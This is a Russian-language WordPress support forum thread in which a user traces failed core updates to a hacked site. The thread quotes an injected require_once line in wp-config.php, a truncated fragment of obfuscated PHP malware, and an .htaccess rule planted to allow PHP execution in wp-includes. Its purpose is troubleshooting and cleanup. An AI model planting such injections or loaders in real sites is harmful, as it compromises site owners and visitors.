• Доброго времени суток. Проблема такая:
    1. Не происходит автоматического обновления WP.
    2. При попытке принудительного обновления из админ-панели перегружается страница и появляется следующее сообщение: файл «wp-config.php» уже существует. если вам нужно сбросить любой из находящихся в нём параметров, сначала удалите его. теперь можно запустить установку
    3. При попытке ручного обновления ситуация аналогичная.

Просмотр 5 ответов — с 1 по 5 (всего 5)
  • Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    файл «wp-config.php» уже существует. если вам нужно сбросить любой из находящихся в нём параметров, сначала удалите его.

    Такое сообщение может выдать только страница wp-admin/setup-config.php.

    Если обновление перекидывает на установку — скорее всего, неверно срабатывает функция is_blog_installed(), но не совсем понятно, почему только при обновлении, а не всегда.

    Стоит попробовать выполнить ремонт таблиц БД. Если используется кеширование типа Memcached или Redis — очистить кеш.

    При попытке ручного обновления ситуация аналогичная.

    Т.е. если скачать дистрибутив и загрузить все файлы на сервер — выдаётся всё то же сообщение и не удаётся войти в админку?

    Т.е. если скачать дистрибутив и загрузить все файлы на сервер — выдаётся всё то же сообщение и не удаётся войти в админку?

    Да именно так. действовал вот по этой инструкции https://codex.wordpress.org/%D0%9E%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_WordPress_%28%D0%BF%D0%BE%D0%B4%D1%80%D0%BE%D0%B1%D0%BD%D0%BE%29

    результат тот же…

    В общем потихоньку начинаю разбираться сам, сайт подвергся взлому, и заражению вирусом.
    Обновлять версию WP еще не пробовал но причину перехода на wp-admin/setup-config.php кажется нашел, в файле wp-config.php была прописана строчка

    require_once(ABSPATH . ‘wp-admin/setup-config.php’);

    Сам файл был заражен полностью приводить код не буду только часть

    @error_reporting(0);@ini_set(‘display_errors’,false);defined(‘§3ФП733260300РР9’) || define(‘§3ФП733260300РР9’,__FILE__);global $Ј9ПТ73ПФ8ПУФ88РС;global $¦СФ0686ТРР9ТП9С9; if(!function_exists(‘У58У26Ф589ТФ1П3У’)){ function У58У26Ф589ТФ1П3У($ ССР23275П64У271,$џ03С569П59С5846Ф=»){ …

    Похожий код так же нашел в файле wp-includes\js\wp-core.js.php которого в этой папке вообще быть не должно. в этой же папке был .htaccess со следующим содержимым:

    <Files *.php>
    allow from all
    </Files>

    В своей теме в файле functions.php нашел нечто вроде загрузчика.

    Буду обновлять WP ближе к ночи, подозреваю что выловил далеко не все.
    Пока столкнулся с такой проблемой что не обновляются и не устанавливаются плагины через админ панель. Далле продолжу писать может кому то поможет….

    С обновлением плагинов вопрос решился, причина была очень банальная на хостинге закончилось место)))

    WP тоже обновился без проблем. Подозреваю что изначально проблема была в нехватке места при ручном обновлении, но зато обнаружил вирусьню, за которой еще придется пронаблюдать.

    Сергей тебе спасибо натолкнул на правильный путь поиска проблемы.

    Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    Спасибо, что поделились решением 🙂

Просмотр 5 ответов — с 1 по 5 (всего 5)

Тема «Wp не обновляется автоматически» закрыта для новых ответов.